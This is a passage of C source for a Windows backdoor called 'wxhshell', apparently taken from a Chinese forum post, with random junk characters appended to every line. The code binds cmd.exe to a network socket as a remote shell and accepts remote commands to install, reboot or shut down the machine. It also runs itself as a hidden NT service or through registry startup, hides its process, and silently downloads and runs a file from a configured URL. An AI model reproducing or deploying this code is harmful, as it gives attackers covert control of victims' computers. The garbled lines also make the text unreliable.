    switch(cmd[0]) { /;7\HZ$@/  
  'D ,efTq  
  // 帮助 d NQ?8P-&  
  case '?': { Yj/aa0Ka4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *=Ko"v }  
    break; %#xdD2oN  
  } {sn RS)-  
  // 安装 Z)?i&y?  
  case 'i': { &Kuo|=f  
    if(Install()) EZy:_xjZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ_''%$I3:  
    else  F?UI8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C&\MDOjx  
    break; d"K~+<V}  
    } A"(XrL-pV  
  // 卸载 9yU(ei:GUo  
  case 'r': { :6k8\{^9"D  
    if(Uninstall())  `mar-r_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <L4.*  
    else ^I=W<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;D}8acQ  
    break; {MP8B'r-6  
    } lSGtbSyDI  
  // 显示 wxhshell 所在路径 ^}JGWGib=+  
  case 'p': { "gD]K=  
    char svExeFile[MAX_PATH]; E8_j?X1  
    strcpy(svExeFile,"\n\r"); kD&% 7Vz  
      strcat(svExeFile,ExeFile); ^P4q6BW  
        send(wsh,svExeFile,strlen(svExeFile),0); ,/?7sHK-0  
    break; Y>Oh]?  
    } K4 \{G  
  // 重启 rI/;L<c  
  case 'b': { ~#z8Q{!O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b@GL*Z  
    if(Boot(REBOOT)) Af~>}-`a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.54r/FN')  
    else { ZY_aE  
    closesocket(wsh); F E`4%X  
    ExitThread(0); v2OK/W,0  
    } V}?*kx~T2C  
    break; +m|S7yr'  
    } ^|u7+b'|t  
  // 关机 8|Wu8z--  
  case 'd': { d']CBoK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <>=A6  
    if(Boot(SHUTDOWN)) }e/#dMEi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5 |XyN"  
    else { N_ 3$B=  
    closesocket(wsh); mGss9eZa  
    ExitThread(0); ]!@z3Hv3  
    }  rG#o*oA  
    break; MIV<"A  
    } L="ipM:Z  
  // 获取shell h(M_ K  
  case 's': { vJybhdvP  
    CmdShell(wsh); I-?PTr  
    closesocket(wsh); 0\qLuF[)  
    ExitThread(0); R,]J~TfPK  
    break; x;Qs_"t];3  
  } OV@MT^  
  // 退出 DrAp&A|WV|  
  case 'x': { T;7=05k<_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1!(Og~#(  
    CloseIt(wsh); gLm ]*  
    break; 9%{V?r]k  
    } %y7&~me  
  // 离开 .A(QqL>  
  case 'q': { U*P&O+(1'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pr\wI?:k  
    closesocket(wsh); $w,O[PIi  
    WSACleanup(); '?j[hhfB-  
    exit(1); ;k W+  
    break; F0 .Rv):  
        } OTgctw1s  
  } UY(pKe>  
  } 8C,}nh  
y7f,]<%e_  
  // 提示信息 tu4-##{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }MUQO<=*  
} 8iv0&91Z  
  } &c?q#-^)\+  
[-ONs  
  return; 2p^Jqp`$  
} 6]%SSq&  
,,FO6+4f  
// shell模块句柄 n(}cK@  
int CmdShell(SOCKET sock) B//2R)HS  
{ MNuBZnO  
STARTUPINFO si; EgE% NY~  
ZeroMemory(&si,sizeof(si)); I{/}pr>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3np |\i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _Wb3,E a=  
PROCESS_INFORMATION ProcessInfo; 5L?_AUL  
char cmdline[]="cmd"; iBqxz:PHN(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bjL8Wpk  
  return 0; a)o-6  
} qsA`\%]H  
bZ5cKQ\6  
// 自身启动模式 T{CCZ"Fv  
int StartFromService(void) 9Sb[5_Q  
{ e) \PW1b  
typedef struct (93$ L zZ  
{ >~F_/Z'5  
  DWORD ExitStatus; &.v|yG]&  
  DWORD PebBaseAddress; F `4a0~?  
  DWORD AffinityMask; oCxh[U@*D  
  DWORD BasePriority; ,J@A5/B,AA  
  ULONG UniqueProcessId; \kR:GZ`{UV  
  ULONG InheritedFromUniqueProcessId; w/1Os!p  
}   PROCESS_BASIC_INFORMATION; B[$L)y'-;  
kB! iEoIBA  
PROCNTQSIP NtQueryInformationProcess; y/.I<5+Bu  
M#u~]?hS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Tv0:c>8;(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZZ? KD\S5  
(r9W[  
  HANDLE             hProcess; "<N2TDF5  
  PROCESS_BASIC_INFORMATION pbi; LykB2]T  
r\j*?m ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); af>^<q  
  if(NULL == hInst ) return 0; O0Pb"ou_h.  
2ophh/]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {W' 9k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P\rA>ZY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `Eg~;E:  
_SQQS67fu"  
  if (!NtQueryInformationProcess) return 0; g7l?/p[n  
/5wIbmz@I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W<c95QD.  
  if(!hProcess) return 0; |?gO@?KDZ  
N<N uBtkA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NI^jQS M]  
my}l?S[2d@  
  CloseHandle(hProcess); t_"]n*zk1  
&y+)xe:&S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r.ib"W#4  
if(hProcess==NULL) return 0; U)Jwo O  
H/^t]bg,  
HMODULE hMod; sK/Z 'h{|  
char procName[255]; @Rw]boC  
unsigned long cbNeeded; yEPkF0?  
t%fcp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (7*((  
haSC[[o=  
  CloseHandle(hProcess); eJy}W /  
>4G~01  
if(strstr(procName,"services")) return 1; // 以服务启动 Q3'L\_1L  
<HfmNhI85(  
  return 0; // 注册表启动 <-(n48  
} \sEH)$R'  
>mW*K _~  
// 主模块 e6i m_ Tk  
int StartWxhshell(LPSTR lpCmdLine) s= bP@[Gj  
{ :\"V5  
  SOCKET wsl; MC~<jJ,  
BOOL val=TRUE; \"| 7o8  
  int port=0; vUR@P  -  
  struct sockaddr_in door; wv.HPmq  
TMG|"|  
  if(wscfg.ws_autoins) Install(); 8D&yFal  
SH5a&OVZhn  
port=atoi(lpCmdLine); 1~ZFkcV_C  
yt {?+|tXU  
if(port<=0) port=wscfg.ws_port; *%n(t+'q  
/4YxB,  
  WSADATA data; H{,qw%.|KA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^US ol/  
>*h3u7t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '&!:5R59  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c2Yrg@) [  
  door.sin_family = AF_INET; $)Ty@@7C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yfZYGhPN(  
  door.sin_port = htons(port); $2>"2*,04  
X<<FS%:+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $g!iy'4n*  
closesocket(wsl); {:TOm0eK  
return 1; 7srq~;j3  
} 560`R>  
bWg!/K55  
  if(listen(wsl,2) == INVALID_SOCKET) { R*l3 zn>  
closesocket(wsl); 1'!%$D  
return 1; sP@7%p>wt  
} 6FFM-9*|[  
  Wxhshell(wsl); %fIYWu`X  
  WSACleanup(); ` 1v Dp.  
BV)) #D9  
return 0; vEc<|t  
&l~9FE *  
} EQVa8xt/C  
E[Bj+mX9  
// 以NT服务方式启动  x-s\0l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'Gqo{wl  
{ 4Cp)!Bq?/  
DWORD   status = 0; 34I;DUdcE  
  DWORD   specificError = 0xfffffff; g v7@4G  
"]}?{2i;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CE7{>pl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #b@ sV$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gg y7xb  
  serviceStatus.dwWin32ExitCode     = 0; 5"&=BD~D  
  serviceStatus.dwServiceSpecificExitCode = 0; .\7AJB\l  
  serviceStatus.dwCheckPoint       = 0; ~BC~^ D&WD  
  serviceStatus.dwWaitHint       = 0; $ qTv2)W1{  
,*Z/3at}5M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d Z}|G-:  
  if (hServiceStatusHandle==0) return; 4l@aga  
JOo+RA5d  
status = GetLastError(); `RyH~4\;  
  if (status!=NO_ERROR) "%ZAL\x  
{ MogIQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `B/74Wa3q  
    serviceStatus.dwCheckPoint       = 0; @}io K=A  
    serviceStatus.dwWaitHint       = 0; b!T-{Ns6  
    serviceStatus.dwWin32ExitCode     = status; &*; Z(ul&9  
    serviceStatus.dwServiceSpecificExitCode = specificError; )W>9{*4 m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T:3}W0s,  
    return; ;{1  ws  
  } :KI0j%>2y  
TU^s!Tj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P\%aJ'f~  
  serviceStatus.dwCheckPoint       = 0; ^!Tq(t5V  
  serviceStatus.dwWaitHint       = 0; 5l]qhi3f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [tkP2%1  
} BFQ`Ab+  
 QB#_Wn  
// 处理NT服务事件,比如:启动、停止 +wcif-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FKy2C:R(]  
{ Vo%DoZg  
switch(fdwControl) 5P[urOvV  
{ $pajE^d4V  
case SERVICE_CONTROL_STOP: H^XTzE  
  serviceStatus.dwWin32ExitCode = 0; xiO10:L4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N~%~Q  
  serviceStatus.dwCheckPoint   = 0; ^L-; S  
  serviceStatus.dwWaitHint     = 0; ~iJ@x;`  
  { oO9yI^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gp-rTdN  
  } }1|FES  
  return; ?ajVf./Ja  
case SERVICE_CONTROL_PAUSE: \{54mM~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u@T,8  
  break; EMf"rGXu(  
case SERVICE_CONTROL_CONTINUE: w0 1u~"E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (^$SM uC  
  break; il7gk<  
case SERVICE_CONTROL_INTERROGATE: ,"f2-KC4h  
  break; >2mV {i&  
}; fJ;1ii~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pg3h>)$/  
} \9 k3;zw  
FO)`&s"&2  
// 标准应用程序主函数 wu3p2#-Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wRJ`RKJ-T  
{ 9'A^n~JHF  
[_HOD^  
// 获取操作系统版本 kyL]4:@W`  
OsIsNt=GetOsVer(); O+=C8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gp4@6HuUd  
5UvqE_  
  // 从命令行安装 Y{<SD-ibZ$  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6*s:I&  
CK8!7=>}^  
  // 下载执行文件 '~E=V:6  
if(wscfg.ws_downexe) { c\VD8 :  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tJpK/"R'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0W,.1J2*  
} ddEV@2F  
hs<OzM  
if(!OsIsNt) { 0F<$Zbe2B  
// 如果时win9x,隐藏进程并且设置为注册表启动 LzD,]{CC5  
HideProc(); Bh7dAV(  
StartWxhshell(lpCmdLine); j# n  
} u2cDSRrqT  
else Ub`vf4EB  
  if(StartFromService()) w~>tpkUB  
  // 以服务方式启动 c"pu"t@/Z  
  StartServiceCtrlDispatcher(DispatchTable); gb/<(I )  
else _*n 4W^8  
  // 普通方式启动 k; ned  
  StartWxhshell(lpCmdLine); }r|$\ms  
qsdgG1<  
return 0; |)%;B%  
}
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只看该作者 1 发表于: 2006-10-10
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